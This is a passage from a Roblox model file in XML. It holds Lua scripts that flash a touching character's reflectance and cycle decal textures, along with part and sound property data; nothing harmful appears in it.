part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX53">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX54">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX55">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-8.19999981</X>
					<Y>9.60000038</Y>
					<Z>33</Z>
					<R00>-0</R00>
					<R01>-1</R01>
					<R02>-0</R02>
					<R10>-1</R10>
					<R11>-0</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Infected</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">9</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>0.400000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX56">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX57">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">udcr5c0u3</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX58">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX59">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">iyfy2r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX60">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX61">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9sim</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX62">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal2</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX63">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ejg7aef</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="BlockMesh" referent="RBX64">
				<Properties>
					<float name="Bevel">0</float>
					<float name="Bevel Roundness">0</float>
					<float name="Bulge">0</float>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>0</Y>
						<Z>5</Z>
					</Vector3>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX65">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">vh4np</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX66">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX67">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">37uaea2t</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX68">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">eyhz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX69">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>-8.5</X>
					<Y>12.1000004</Y>
					<Z>33.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
